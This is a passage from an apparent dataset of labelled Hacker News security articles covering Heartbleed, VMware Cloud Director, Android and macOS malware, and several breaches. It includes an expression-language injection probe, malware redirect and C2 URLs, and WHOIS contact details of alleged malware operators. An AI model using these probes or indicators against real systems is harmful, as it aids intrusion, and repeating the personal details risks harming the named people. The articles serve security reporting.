Heartbleed is a critical bug in the popular OpenSSL cryptographic software library that actually resides in the OpenSSL's implementation of the TLS (transport layer security protocols) and DTLS (Datagram TLS) heartbeat extension (RFC6520).

The count may be even larger as these mentioned number counts are only the confirmed cases. Graham may have escaped other systems either because of spam blocking or unorthodox OpenSSL setups. But it's really shocking that after availability of Heartbleed fixes, this number has come up.

""Last month, I found 1-million systems supporting the ""heartbeat"" feature (with one third patched). This time, I found 1.5-million systems supporting the ""heartbeat"" feature, with all but the 300k patched. This implies to me that the first response to the bug was to disable heartbeats, then later when people correctly patched the software, heartbeats were re-enabled. Note that only OpenSSL supports heartbeats, meaning that the vast majority of SSL-supporting servers are based on software other than OpenSSL,"" he wrote.

Now that the bug has been openly revealed and known to everybody, anyone can simply use it to carry out attacks against the still affected systems and 300,000 is really a troubling number. One can imagine the danger and damages caused by the bug if exploited.

Heartbleed is the encryption flaw that left large number of cryptographic keys and private data such as usernames, passwords, and credit card numbers, from the most important sites and services on the Internet open for hackers, forcing some security researchers to warn internet users against using even their everyday sites for the next few days until the problem is fully solved.

A large majority of services including many popular and major services patched their servers almost immediately, but this new global internet scan suggests that cyber criminals could still do plenty of damages against the unpopular and less technically efficient services as well. Once attackers identified the vulnerable server, they could exploit the Heartbleed vulnerability to steal sensitive data and private keys, eavesdrop on passwords in transit, or hijack a session entirely.

Software vulnerabilities may come and go, but this bug is more critical and probably the biggest Internet vulnerability in recent history as it left the contents of a server's memory, where the most sensitive data is stored exposed to the cyber attackers. This new scan was done only on port 443 and Graham said that he will try to scan for other well-known SSL ports, like SMTP and will post the results. Stay Tuned!

",Vulnerability
Fake antivirus campaign on India's DNA e-newspaper website !,https://thehackernews.com/2011/05/fake-antivirus-campaign-on-indias-dna-e.html,"Fake antivirus campaign on India's DNA e-newspaper website !

DNA (Daily News and Analysis) is an Indian daily English language newspaper. According to Wikipedia, DNA ranks 8th among the top ten English dailies in India. Recently, the Zscaler solution was blocking access to this site, as it contained malicious content. Here is the homepage of this website:

The 'Today's E-newspaper' link (circled above) is an online version of the printed periodical. We discovered that one of the pages from this e-newspaper site was infected with malicious script. Here is the screenshot of that page:

The malicious script tag had been inserted in plain text as can be seen in this screenshot of page
source:


The malicious script tag directs the victim's browser to 'hxxp://vcvsta.com/ur.php'. This page then redirects the user to another malicious site ('hxxp://www4.to-gysave.byinter.net,), which will again redirect victim to random sites hosting fake antivirus campaigns. Here is the screenshot displaying a fake malware alert:

As usual, page employs social engineering tactics, which display fake warning messages and threat names to scare the victim into downloading a fake AV product. The VirusTotal result for the downloaded binary currently shows only 10/43 AV engines detecting this particular attack. Here we have yet another example of a legitimate and popular websites being infected so that the attacker(s) can impact a significant number of victims.

",Malware
Exploit for most critical Android vulnerability publicly released,https://thehackernews.com/2013/07/android-hacking-vulnerability-exploit.html,"What if hackers could take an existing legitimate app or update with a valid digital signature, and modify it in order to use it as a malicious Trojan to access everything on your Android phone or tablet?
Last week, researchers from Bluebox Security announced that the Android operating system has been vulnerable to hackers for the past four years, allowing them to modify or manipulate any legitimate application and enabling them to transform it into a Trojan programme.

The bug hasn't, so far, been spotted being exploited in the wild, but technical details and a proof-of-concept exploit have been published for a recently announced publicly by Pau Oliva Fora, a mobile security engineer at security firm ViaForensics.

Jeff Forristal of Bluebox security stated that the security hole as been around since at least Android 1.6, and it could affect all Android devices i.e. around 900 million devices could be affected by hackers.

CyanogenMod, a popular open source distribution of Android 4.1, has now included a patch for the vulnerability in its firmware code.

Today Google has also released a fix for this particular critical vulnerability, and released to original equipment manufacturers (OEM)s.

In the meantime, if you are running a device that may be vulnerable to this exploit, you should be advised to only install APKs from completely trusted sources, such as the Play Store.

",Vulnerability
Critical VMware Cloud Director Flaw Lets Hackers Take Over Corporate Servers,https://thehackernews.com/2020/06/vmware-cloud-director-exploit.html,"Cybersecurity researchers today disclosed details for a new vulnerability in VMware's Cloud Director platform that could potentially allow an attacker to gain access to sensitive information and control private clouds within an entire infrastructure.

Tracked as CVE-2020-3956, the code injection flaw stems from an improper input handling that could be abused by an authenticated attacker to send malicious traffic to Cloud Director, leading to the execution of arbitrary code.

It's rated 8.8 out of 10 on the CVSS v.3 vulnerability severity scale, making it a critical vulnerability.

VMware Cloud Director is a popular deployment, automation, and management software that's used to operate and manage cloud resources, allowing businesses to data centers distributed across different geographical locations into virtual data centers.

According to the company, the vulnerability can be exploited through the HTML5- and Flex-based UIs, the API Explorer interface, and API access.

The vulnerability impacts VMware Cloud Director versions 10.0.x before 10.0.0.2, 9.7.0.x before 9.7.0.5, 9.5.0.x before 9.5.0.6, and 9.1.0.x before 9.1.0.4.

The vulnerability was identified by a Prague-based ethical hacking firm Citadelo after it was hired earlier this year by an unnamed Fortune 500 enterprise customer to carry out a security audit of its cloud infrastructure.


It has also published a proof-of-concept to demonstrate the exploit's severity.

""Everything started with just a simple anomaly. When we entered ${7*7} as a hostname for the SMTP server in vCloud Director, we received the following error message: String value has an invalid format, value: [49],"" Citadelo noted in its report. ""It indicated some form of Expression Language injection, as we were able to evaluate simple arithmetic functions on the server-side.""

Using this as an entry point, the researchers said they were able to access arbitrary Java classes (e.g. ""java.io.BufferedReader"") and instantiate them by passing malicious payloads.

Citadelo said it was able to perform the following the set of actions by exploiting the flaw:

View content of the internal system database, including password hashes of any customers allocated to this infrastructure.
Modify the system database to access foreign virtual machines (VM) assigned to different organizations within Cloud Director.
Escalate privileges from ""Organization Administrator"" to ""System Administrator"" with access to all cloud accounts by merely changing the password via an SQL query.
Modify the Cloud Director's login page, allowing the attacker to capture passwords of another customer in plaintext, including System Administrator accounts.
Read other sensitive data related to customers, like full names, email addresses, or IP addresses.

After Citadelo privately disclosed the findings to VMware on April 1, the company patched the flaws in a series of updates spanning versions 9.1.0.4, 9.5.0.6, 9.7.0.5, and 10.0.0.2.

VMware has also released a workaround to mitigate the risk of attacks exploiting the issue.

""In general, cloud infrastructure is considered relatively safe because different security layers are being implemented within its core, such as encryption, isolating of network traffic, or customer segmentations. However, security vulnerabilities can be found in any type of application, including the Cloud providers themselves,"" Tomas Zatko, CEO of Citadelo, said.

",Vulnerability
WhatsApp vulnerability can be misused for Spreading Malware,https://thehackernews.com/2012/09/whatsapp-vulnerability-can-be-misused.html,"A Cross site scripting (XSS) vulnerability in WhatsApp website reported to The Hacker News by Edgard Chammas. WhatsApp is one of the most famous cross-platform mobile messaging app for iPhone, BlackBerry, Android, Windows Phone and Nokia used to send text, video, images, audio b/w Whatsapp users.

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications, such as web browsers through breaches of browser security, that enables attackers to inject client-side script into Web pages viewed by other users.
Reported vulnerability exist on payment procedure page as shown in above picture. The Sample code given below to demonstrate the vulnerability.
Recently, there has been an increase in web malware and spam activities and such vulnerabilities can be misused by attackers to spread Malwares and rogue applications.

Edgard also demonstrate that How this can be used to trick users to download a fake application (Malware - WhatsApp.apk) from other any evil domain (www.evilwebsite/WhatsApp.apk). in below given example, attacker just using a pop-up window to open fake application download link.


While the official binary is here https://www.whatsapp.com/android/current/WhatsApp.apk

According to reports in 2012 mobile malwares are 50 times increases than previous ever. We request Whatsapp team to fix the vulnerability as soon as possible.

",Malware
Adobe Gets Hacked; Hackers Steal 2.9 million Adobe Customers accounts,https://thehackernews.com/2013/10/adobe-gets-hacked-hackers-steal-29.html,"Hackers broke into Adobe Systems' internal network on Thursday, stealing personal information on 2.9 million customers and the source code for several of Adobe's most popular products. This an absolutely massive blow to Adobe, especially their reputation.

Adobe, which makes Photoshop and other programs, revealed that cyber attackers had access user information, including account IDs and encrypted passwords as well as credit and debit card numbers.
The company did not specify which users of its various software programs were hit. But Products compromised in this attack include Adobe Acrobat, ColdFusion, and ColdFusion Builder.

""We believe these attacks may be related. We are working diligently internally, as well as with external partners and law enforcement, to address the incident."" the company said in a customer security alert.

Adobe's Arkin says the company is not aware of zero-day exploits or other specific threats to its customers due to the source code theft. Adobe is resetting the passwords on breached Adobe customer IDs, and users will receive an email if they are affected.

""We have notified the banks processing customer payments for Adobe, so that they can work with the payment card companies and card-issuing banks to help protect customers' accounts.""

If you've given your Credit card details to Adobe through their site, it's now a good idea to keep an eye on your transactions.

Adobe has also promised to offer these customers with the option of enrolling in a one-year complimentary credit monitoring membership where available.

In November, 2012 - An Egyptian Hacker named ViruS_HimA also hacked into Adobe servers and leaked private data of 150,000 emails and hashed passwords of Adobe employees and customers/partner of the firm such as the US Military, USAF, Google, NASA DHL and many other companies.

",Cyber_Attack
Android Malware Can Spy On You Even When Your Mobile Is Off,https://thehackernews.com/2015/02/poweroffhijack-android-malware.html,"Security researchers have unearthed a new Android Trojan that tricks victims into believing they have switched their device off while it continues ""spying"" on the users' activities in the background. So, next time be very sure while you turn off your Android smartphones.

The new Android malware threat, dubbed PowerOffHijack, has been spotted and analyzed by the researchers at the security firm AVG. PowerOffHijack because the nasty malware has a very unique feature - it hijacks the shutdown process of user's mobile phone.

MALWARE WORKS AFTER SWITCHING OFF MOBILES
When users presses the power button on their device, a fake dialog box is shown. The malware mimics the shutdown animation and the device appears to be off, but actually remains on, giving the malicious program freedom to move around on the device and steal data.
""After pressing the power button, you will see the real shutdown animation, and the phone appears off. Although the screen is black, it is still on,"" AVG's mobile malware research team explained in a blog post. ""While the phone is in this state, the malware can make outgoing calls, take pictures and perform many other tasks without notifying the user.""
HOW DOES POWEROFFHIJACK MALWARE WORKS ?
Once installed, the malware asks for root-level permissions and tampers with the 'system_server' file of the operating system to affect the shutdown process. The malware particularly hijacks the mWindowManagerFuncs interface, so that it can display a fake shutdown dialog box and animation every time the victim presses the power button.

The nasty malware is apparently being propagated via third-party online app stores, but the researchers haven't mentioned the names of the the innocent-looking apps, also they haven't explained how the malware gains the root access of the device. The code shown by AVG appears to contact Chinese services.

USERS AND ANDROID VERSIONS INFECTED
According to the company, PowerOffHijack malware infects devices running Android versions below 5.0 (Lollipop) and requires root access to perform the tasks.

So far, PowerOffHijack malware has already infected more than 10,000 devices, mostly in China where the malware was first introduced and offered through the local, official app stores.

PowerOffHijack malware has ability to silently send lots of premium-rate text messages, make calls to expensive overseas numbers, take photos and perform many other tasks even if the phone is supposedly switched off.

EASY STEPS TO GET RID OF POWEROFFHIJACK
In order to get rid of PowerOffHijack malware, users are advised to take some simple steps:
To restart infected device manually just take out the battery.
Remove malicious, untrusted and useless apps from your Android device.
Do not install apps from 3rd Party app stores.
Make sure you have a good anti-virus installed and updated on your mobile devices. AVG antivirus product can detect PowerOffHijack malware.

",Malware
Microsoft Issues Patch for Windows Zero-Day Flaw Under Active Attack,https://thehackernews.com/2018/12/microsoft-patch-updates.html,"Microsoft today, on its year-end December Patch Tuesday, released security updates to patch a total 39 vulnerabilities its Windows operating systems and applications—10 of which are rated as critical and other important in severity.

One of the security vulnerabilities patched by the tech giant this month is listed as publicly known at the time of release, and one is a zero-day reported as being actively exploited in the wild by multiple hacking groups, including FruityArmor and SandCat APTs.

Discovered and reported by security researchers at Kaspersky, the zero-day attack exploits an elevation-of-privilege (EoP) bug in the Windows Kernel (ntoskrnl.exe) that could allow malicious programs to execute arbitrary code with higher privileges on the targeted systems.

The vulnerability, tracked as CVE-2018-8611 and classified important in severity, resides in the Kernel Transaction Manager, which occurs due to improper processing of transacted file operations in kernel mode.

The flaw affects almost all versions of Windows operating system—Windows 7 through Server 2019.

""This vulnerability successfully bypasses modern process mitigation policies, such as Win32k System call Filtering that is used, among others, in the Microsoft Edge Sandbox and the Win32k Lockdown Policy employed in the Google Chrome Sandbox,"" Kaspersky said.

""Combined with a compromised renderer process, for example, this vulnerability can lead to a full Remote Command Execution exploit chain in the latest state-of-the-art web-browsers.""

This is the third zero-day vulnerability Microsoft has back-to-back patched in three consecutive months through its regular monthly patch update to address a Win32K elevation of privilege bug.

Another important bug is a publicly known vulnerability, tracked as CVE-2018-8517, which is a denial-of-service issue in web applications built with the .NET Framework that exists due to improper handling of special web requests.

""The vulnerability can be exploited remotely, without authentication. A remote unauthenticated attacker could exploit this vulnerability by issuing specially crafted requests to the .NET Framework application,"" Microsoft explains.

The flaw was publicly disclosed, but Microsoft found no evidence of active exploitation of this vulnerability.

In addition to the zero-day and publicly known vulnerabilities, Microsoft patched 10 critical and 29 important vulnerabilities impacting a range of its products, including Windows, Edge, Internet Explorer, ChackraCore, Office and Microsoft Office Services and Web Apps, and the .NET Framework.

Besides its own products, Microsoft's December 2018 Patch Tuesday also includes a security update for a recently-disclosed zero-day flaw in Adobe Flash Player, which was also actively being exploited by a state-sponsored cyber-espionage group.

Users and system administrators are strongly recommended to apply the latest security patches as soon as possible to keep hackers and cybercriminals away from taking control of their systems.

For installing the latest security patch updates, head on to Settings → Update & Security → Windows Update → Check for updates, on your computer system or you can install the updates manually.

",Vulnerability
Researcher Charlie Miller kicked out from iOS dev program for Exploiting iOS security flaw,https://thehackernews.com/2011/11/researcher-charlie-miller-kicked-out.html,"Researcher Charlie Miller kicked out from iOS dev program for Exploiting iOS security flaw

A major security flaw in Apple's iOS operating system that could allow hackers to remotely gain unauthorized access to an iPhone, iPod touch or iPad has been uncovered by a security expert ""Charlie Miller "".

Charlie Miller gets a kick of out defeating Apple's security mechanisms, using his hacking skills to break into Macbooks and iPhones. Now, Apple has kicked the security researcher out of its iOS developer program after word got out that he built a proof-of-concept iPhone app to showcase a bypass of the code signing mechanism.
Hours before, a YouTube video that Miller released went viral. In it, he demonstrated how he hijacked an iPhone to run malicious code after installing his Instastock app, which was admitted into the App Store in September.

According to the report, Miller plans to reveal the issue in a presentation at the SysCan security conference in Taiwan next week. As part of his presentation, Miller created an app capable of exploiting the flaw, and uploaded it to the App Store. Though App Store staff discovered a few problem APIs in the app, they didn't notice Miller's use of a special memory area, which allows his app to run unsigned code.

The security expert's app has since been removed from the App Store and his developer account has been suspended. Miller's video follows below.

We've seen plenty of malware on Android, but that's mostly because the Android Market accepts virtually any app and later plucks out the bad weeds. This is a scary first on iOS.

Miller alerted Apple about the weakness three weeks ago. The company acknowledged it and asked how Miller should be credited in a security bulletin that accompanies most iOS release notes. ""I'm sure it is something they will fix quickly,"" Miller noted, suggesting the fix would likely appear before his presentation in Taiwan. ""That's what one would hope they would do. I'm sure they are also working on code fixes for the battery draining issue and stuff that they are going to release patch for.""

",Vulnerability
Boys Town Healthcare Data Breach Exposed Personal Details of Patients,https://thehackernews.com/2018/07/data-breach-healthcare.html,"Another day, Another data breach!

This time-sensitive and personal data of hundreds of thousands of people at Boys Town National Research Hospital have been exposed in what appears to be the largest ever reported breach by a pediatric care provider or children's hospital.

According to the U.S. Department of Health and Human Services Office for Civil Rights, the breach incident affected 105,309 individuals, including patients and employees, at the Omaha-based medical organization.

In a ""Notice of Data Security Incident"" published on its website, the Boys Town National Research Hospital admitted that the organization became aware of an abnormal behavior regarding one of its employees' email account on May 23, 2018.

After launching a forensic investigation, the hospital found that an unknown hacker managed to infiltrate into the employee's email account and stole personal information stored within the email account as a result of unauthorized access.

The hacker accessed the personal and medical data of more than 100,000 patients and employees, including:
Name
Date of birth
Social Security number
Diagnosis or treatment information
Medicare or Medicaid identification number
Medical record number
Billing/claims information
Health insurance information
Disability code
Birth or marriage certificate information
Employer Identification Number
Driver's license number
Passport information
Banking or financial account number
Username and password
With this extensive information in hand, it's most likely that hackers are already selling personal information of victims on the dark web or attempting to carry out further harm to them, particularly child patients at the hospital.

However, The Boys Town National Research Hospital says it has not received any reports of the misuse of the stolen information so far.

""Boys Town takes this incident and the security of personal information seriously. Upon learning of this incident, Boys Town moved quickly to confirm whether personal information may have been affected by this incident, to identify the individuals related to this personal information, to put in place resources to assist them, and to provide them with notice of this incident,"" the hospital says.

The hospital has also reported the incident to law enforcement and is notifying state and federal regulators, along with potentially affected individuals. Boys Town has also promised to offer affected individuals access to 12 months of free identity protection services.

Boys Town hospital is also reviewing its existing policies and procedures and is implementing some additional security measures to safeguard its users' information stored in its systems.

However, victims are highly recommended to monitor their accounts for any fraudulent transaction and should consider placing a credit freeze request. Here's how you can freeze credit report to protect yourself against identity theft.

For additional information related to the incident, you can call 1-855-686-9425 (toll-free), Monday through Saturday from 8:00 a.m. to 8:00 p.m. CT.

",Data_Breaches
Polish Banks Hacked using Malware Planted on their own Government Site,https://thehackernews.com/2017/02/bank-hacking-malware.html,"In what considered to be the largest system hack in the country's history and a massive attack on the financial sector, several banks in Poland have been infected with malware.

What's surprising? The source of the malware infection is their own financial regulator, the Polish Financial Supervision Authority (KNF) -- which, ironically, is meant to keep an eye out for the safety and security of financial systems in Poland.

During the past week, the security teams at several unnamed Polish banks discovered malicious executables on the workstations of several banks.

The KNF confirmed that their internal systems had been compromised by someone ""from another country,"" although no specifications were provided.

After downloads of suspicious files that were infecting various banking systems had been discovered on the regulator's servers, the KNF decided to take down its entire system ""in order to secure evidence.""

Here's what happened:
An unknown attacker compromised the KNF's website for well over a week by modifying one of the site's JavaScript files, making visitors to the regulator's site load the malicious JavaScript file, which then downloaded the malicious payloads.

Once downloaded and executed, the malware connected to some foreign servers to perform various malicious tasks such as reconnaissance, data exfiltration, and post exploitation.

This particular malware appears to be a new strain of nasty software which has never seen before in live attacks and has a zero detection rate on VirusTotal.

In some cases, the attackers even managed to gain control over critical servers within the targeted bank's infrastructures.

Security blogger BadCyber spoke to several banks, and some 20 commercial banks across Poland have already confirmed being victims of a malware infection while other banks keep looking.

The affected banks discovered the encrypted executable files on several servers and unusual network traffic going to uncommon IP addresses situated in other foreign countries.

Both the KNF and the Polish government confirmed local Polish media that the investigation is ongoing and that there is no indication of people's money being affected in the attack and no operations were affected.

",Cyber_Attack
Dissecting a mobile malware,https://thehackernews.com/2013/01/dissecting-mobile-malware.html,"The capillary diffusion of mobile devices, the lack of security systems on these platforms and low level of awareness on principal cyber threats made them a privileged target for cybercrime. We have assisted in the recent year to an explosion of malware designed to hit principal mobile OSs, in a recent report Sophos security firm revealed that in Australia and the U.S. Android threat exposure rates exceeding those of PCs showing the urgency to implement proper countermeasures. The situation appears really critical that why I asked to the expert of Group-IB Forensics Lab to show me how these agents work with a really case study.

Several month ago Group-IB Forensics Lab detected mobile-banking malware through Google Play by Sberbank request (Russian leading national bank).


The File associated to the malware was named sber.apk, it was an Android Package having size of 225,905 bytes and digest md5: F27D43DFEEDFFAC2EC7E4A069B3C9516.

Analyzing the functionality of the agent is is possible to classify it as SMSStealer.APK designed to infect Android devices.
The first step is the decompression of the archive and subsequent conversion of the file with the name classes.dex from format dex to file format Jar, subsequently using Java Decompiler it is possible to convert files.

Evidence files after installation displays the following graphical user interface used to request user's authorization through a phone number verification process.
After entering the phone number and pressing the «Do authorization» the application send system information to a remote server URL https:// berstaska.com/m/fo125kepro

The data sent contains mobile phone number, the name and version of the operating system on a mobile phone, the name of the service provider, mobile country code and many others.

At this point the research was addressed to the malicious domain used to collect the info, ""berstaska.com"" and ""lekerdeka.com"" are known to security experts because they have been used in the past for placing Carberp malware.

The data related to the domains are:
Domain Name: BERSTASKA.COM
Registrant:
N/A
merab mekokayan (gooddoctor222289@yahoo.com)
sk 8 box18
NY
,334777
US
Tel. +1.3049583484

Creation Date: 26-Oct-2012
Expiration Date: 26-Oct-2013

Domain servers in listed order:
dc1.nserver.ru
dc2.nserver.ru
Domain Name: LEKERDEKA.COM
Registrant:
N/A
Sergey Bezumov (gooddoctor222299@yahoo.com)
PU BOX 81 l 92
NY
,325236
US
Tel. +1.33873847374

Creation Date: 26-Oct-2012
Expiration Date: 26-Oct-2013

Domain servers in listed order:
dc1.nserver.ru
dc2.nserver.ru

Both domain names were linked to nserver.ru NS-servers and registered anonymously, according to the MalwareURL database and Group-IB Bot-Trek™ product more than twenty Carberp C&C were linked through the DNS of this operator.
At the time of the study network address «berstaska.com» was unavailable.
The malware establishes the function for sending and receiving SMS-messages using the following event handler:
Received messages are processed and stored in the appropriate format in a file called messages.txt and can be sent to the above remote server. In this program makes logging investigated their actions in a file called alarms.txt.
The scam schema based on the interception of SMS used in the authentication process could be very useful to banking frauds. US and Canada banks, but also other financial institutions, use One Time Password token sent via SMS, clearly an attacker intercepting it could complete fraudulent transactions.
Many security firms such as Group-IB have observed that hackers begin to trade such kind of tools on black market customized for specific banks.

Group-IB has developed unique solution for proactive prevention fraud without integration specific hardware or software to the banking server-side so called Botnets Intelligence.
Group-IB Botnets Intelligence team does sink holing of botnet to collect the data from them, information that the expert provide to the bank for blocking the banking accounts victims of frauds notifying to the customer the incident.

Following some questions I made to the experts of Group-IB Lab

What information exactly sent by the app to the remote server? ""system information, containing a mobile phone number, the name of the operating system on a mobile phone, the name of the service provider, mobile country code, etc""

Is the phone identifier sent? Android version number? any personal data? any information about other apps already installed on the device?

Information about IMEI, Android version, mobile service provider and extracted cellphone number from SIM-card for identifying the victims.

How often is messages.txt sent to the remote server? Is the messages.txt file created as soon as a SMS arrives, and then sent to the server? Or does the messages.txt created a file with multiple messages, and then send it at a specified time?

It sends intercepted SMS as soon as it was intercepted by the Trojan or it would be impossible to use such technique efficiently for banking theft, as you need to know the intercepted SMS and to login to the victims banking account. If you do it late, you need to wait for other chance.

Is the Trojan intercepting all SMS messages, or just bank-related?
Only bank related by special signatures from Sberbank (Russian national bank) and Alfabank (https://alfabank.ru) - one of the largest and leading private bank in Russian Federation.

I am not clear from the code snippet what is inside alarms.txt. Is it just logging when SMS are received and when messages.txt is transferred?

Yes, you are right, it is special files for information exchange about the new SMS was got and you don't need to send it once again to the hacker.

How different is this from what Zeus-in-the-mobile does?
It doesn't do any active actions with online-banking, as some of mobile banking trojans do. It only intercepts the information from SMS to do future theft from the remote computer of the hacker.

Did the two banking apps (for the different banks) all use the same remote server?

No, the same server was used to 2 banks, as it seems to be that it was targeted attack on them, and the same team of hackers were interested in both of them.

Let me conclude the article thanks the experts of Group-IB Forensics Lab and in particular to the Head of International projects Andrey Komarov.

",Malware
"Hacker threatens to sell data of 3.7 Million Israeli Bank Customers, demands extortion money in Bitcoin",https://thehackernews.com/2013/12/hacker-Israeli-Bank-botnet-malware-extortion-bitcoin.html,"Data breaches and security incidents are a constant in the headlines these days. Hackers and cyber criminals are motivated by status or money and finding new innovative and more creative attacks to achieve this.

One of them are, Digital Bank robbery - where the thieves didn't need masks and guns to pull off the job, all they need are - Hacking Skills, a computer and the Internet. Another way is Cyber extortion - threat of attack against an enterprise or a bank, coupled with a demand for money to avert or stop the attack.
According to Haaretz news, A Hacker - who is the operator of a biggest botnet malware network in the Israel, has threatens 3 major Israeli banks, i.e. Israel Discount Bank, Bank Yahav and the First International Bank of Israel.
""Bank received an e-mail message threatening that unless they handed over a certain sum in Bitcoins by the end of next week, a list of customers' details would be given to hostile elements.""
Banks database, network and websites were not breached in this case, rather the hacker claimed that he holds a huge financial trojan botnet network in Israel that have already infected millions of systems across the nation and collected a massive dump of stolen personal information, passwords, banking information and credit card numbers of 3.7 Million users.

The hacker has demanded the payoff in Bitcoin, a untraceable virtual currency, perfect for blackmailers and cyber criminals. Bitcoin is not backed by any central bank or government and can be transferred ""peer to peer"" between any two people anywhere.

Banks declined to comment on the report and immediately reported the threat to the Israel Police. According to the source, some of them do not see the threat as serious. Bank of Israel held a meeting on Tuesday on the issue, we will update you soon about their next step with a new article.

Cyber attacks are becoming more and more advanced and sophisticated, more or less any company in the world is on the list of targets to rob. You should keep updating your knowledge about the cyber world to Stay Safe from all threats.

",Data_Breaches
New MacOS Malware linked to Russian Hackers Can Steal Passwords & iPhone Backups,https://thehackernews.com/2017/02/xagent-malware-apt28.html,"Security researchers have discovered a new Mac malware allegedly developed by APT28 Russian cyber espionage group who is believed to be responsible for 2016 presidential election hacking scandal.

A new variant of the X-Agent spyware is now targeting Apple macOS system that has previously been used in cyber attacks against Windows, iOS, Android, and Linux devices.

The malware is designed to steal web browser passwords, take screenshots of the display, detect system configurations, execute files and exfiltrate iPhone backups stored on the computer.

The X-Agent malware is tied to Russian hacking group known as APT28 — also known as Fancy Bear, Sofacy, Sednit, and Pawn Storm — that has been operating since at least 2007 and is allegedly linked to the Russian government.
""Our past analysis of samples known to be linked to APT28 group shows a number of similarities between the Sofacy/APT28/Sednit Xagent component for Windows/Linux and the Mac OS binary that currently forms the object of our investigation,"" Bitdefender reported in a blog post published Tuesday.
""For once, there is the presence of similar modules, such as FileSystem, KeyLogger, and RemoteShell, as well as a similar network module called HttpChanel.""
Like variants for other platforms, the Mac version of X-Agent spyware is also act as a backdoor with advanced cyber-espionage capabilities that can be customized depending on the objectives of an attack.
Moreover, X-Agent is being planted by exploiting a vulnerability in the MacKeeper software installed on the targeted computers and known malware dropper Komplex — a first-stage trojan that APT28 uses to infect machines.

Abovementioned evidence indicates that the newly discovered Mac version of X-Agent is also created by the same Russian hacking group.

Once successfully installed, the backdoor checks for the presence of a debugger and if it finds one, it terminates itself to prevent execution. But if not, the backdoor waits for an Internet connection to communicate with the command-and-control servers.
""After the communication has been established, the payload starts the modules. Our preliminary analysis shows most of the C&C URLs impersonate Apple domains,"" Bitdefender researchers said.
""Once connected to the C&C, the payload sends a HelloMessage, then spawns two communication threads running in infinite loops. The former uses POST requests to send information to the C&C, while the latter monitors GET requests for commands.""
The Research is still ongoing and Bitdefender security researchers right now only have the Mac malware sample and not a full picture of how an attack works.

APT28 is one of the two Russian-linked cyber-espionage groups that have been accused of hacking into the U.S. Democratic National Committee's email server last year and interfering with the 2016 presidential election.

You can read BitDefender's previous analysis on the APT28 hacking group here [PDF].

",Malware
Apple MacBooks Can Be Hacked Through The Battery,https://thehackernews.com/2011/07/apple-macbooks-can-be-hacked-through.html,"Apple MacBooks Can Be Hacked Through The Battery

Security researcher Charlie Miller is quite well known for his works on Apple products. Today he has come up with a very interesting way to hack the MacBook using the battery. Laptop battery contains its own monitoring circuit which reports the status of the battery to the OS. It also ensure that the battery does not overcharge even when the laptop is turned off.

Miller has discovered that on the MacBooks, the batteries are shipped with the default password set on the chips. It means that if someone knows the default password, the firmware of the battery can be controlled to do many things from simply ruining the battery to installing a malware which reinstalls whenever the OS boots. Miller said that it might even be possible to overload the battery so that it catches fire.

This is what Miller said:
These batteries just aren't designed with the idea that people will mess with them. What I'm showing is that it's possible to use them to do something really bad.


You could put a whole hard drive in, reinstall the software, flash the BIOS, and every time it would reattack and screw you over. There would be no way to eradicate or detect it other than removing the battery.

This is a very real threat but such an attack is not likely to occur anytime soon. To successfully carry out the attack, the attacker has to analyze the 2009 software updates from Apple for the password, like Miller has done. If he is able to retrieve the password, he will have to find a vulnerability in the interface between the OS and the firmware. Miller believes that this will not be a difficult job as Apple probably never expected such kind of attack.

Miller will present his findings at the BlackHat security conference next month. At the conference, he also plans to release a tool which will change the password of the battery to a random string.

",Malware
Google Chrome Silently Listening to Your Private Conversations,https://thehackernews.com/2015/06/google-chrome-spying.html,"Google was under fire of downloading and installing a Chrome extension surreptitiously and subsequently listened to the conversations of Chromium users without consent.

After these accusations, a wave of criticism by privacy campaigners and open source developers has led Google to remove the extension from Chromium, the open-source version of the Chrome browser.

The extension in question is ""Chrome Hotword,"" which was found to be responsible for offering the browser's famous ""OK, Google"" functionality.

'Ok, Google' is certainly a useful feature that allows users to search for things via their voice when they use Google as their default search engine, but its something that also enables eavesdropping of every single conversation made by a user.

Google Silently Listens to your Conversation

This issue came to light by Pirate Party founder Rick Falkvinge, who says Google has silently installed black box code into the open-source Chromium browser, meaning it contains pre-compiled code that users cannot see.

Exactly what this black box does is still unclear, but Falkvinge claimed that Google is listening to the conversations of Chromium users through this black box of code.

The 'black box' code enabled a feature that activates a search function on the browser when you say ""Ok, Google,"" however the code enabled the microphone, as well as permitted to capture audios.
""Your computer has been stealth configured to send what was being said in your room to somebody else, to a private company in another country, without your consent or knowledge,"" says Falkvinge.
Google Responded to the Issue

Google since defended itself, arguing the ability to use ""Ok Google"" commands and enable the extension is an opt-in feature.
""First and foremost, while we do download the hotword module on startup, we do not activate it unless you opt into hotwording,"" Google wrote on its development forums.
""If you go into 'chrome://settings,' you will see a checkbox 'Enable 'Ok Google' to start a voice search. This should be unchecked by default, and if you do not check it, the hotword module will not be started.""
Google also argued that Chrome is not open source and if any of the open source distributors such as Debian have any issue with it, they should disable the module themselves.

However, after receiving complaints about the ""bug"" that automatically installs the Chrome Hotword Shared Module without an opt-out configuration, Debian has fixed the issue by disabling the extension in their distribution of Chromium.

Google - We aren't Responsible for other browsers

Google doesn't deny installing the black box code into Chromium browser, but the company doesn't consider itself responsible for other web browsers that include the code.
""Our primary focus is getting the code ready for Google Chrome,"" says Google. ""If a third-party (such as Debian) distributes it, it is their responsibility to enforce their own policy.""
The key issue here is the inclusion of black box code into Chromium, which is supposed to be an open-source project that lets everyone audit the code.

However, Falkvinge says Chromium ""had abused its position as trusted upstream to insert lines of source code that bypassed this audit-then-build process, and which downloaded and installed a black box of unverifiable executable code directly onto computers, essentially rendering them compromised.""

This issue forced Google to make changes in Chromium 45 by disabling the Chrome Hotword extension, making it easier for third party distributors to disable hotwording.

",Malware
High-Severity OpenSSL Vulnerability allows Hackers to Decrypt HTTPS Traffic,https://thehackernews.com/2016/05/openssl-vulnerability.html,"OpenSSL has released a series of patches against six vulnerabilities, including a pair of high-severity flaws that could allow attackers to execute malicious code on a web server as well as decrypt HTTPS traffic.

OpenSSL is an open-source cryptographic library that is the most widely being used by a significant portion of the Internet services; to cryptographically protect their sensitive Web and e-mail traffic using the Secure Sockets Layer (SSL) or Transport Layer Security (TLS) protocol.

One of the high-severity flaws, CVE-2016-2107, allows a man-in-the-middle attacker to initiate a ""Padding Oracle Attack"" that can decrypt HTTPS traffic if the connection uses AES-CBC cipher and the server supports AES-NI.

A Padding Oracle flaw weakens the encryption protection by allowing attackers to repeatedly request plaintext data about an encrypted payload content.

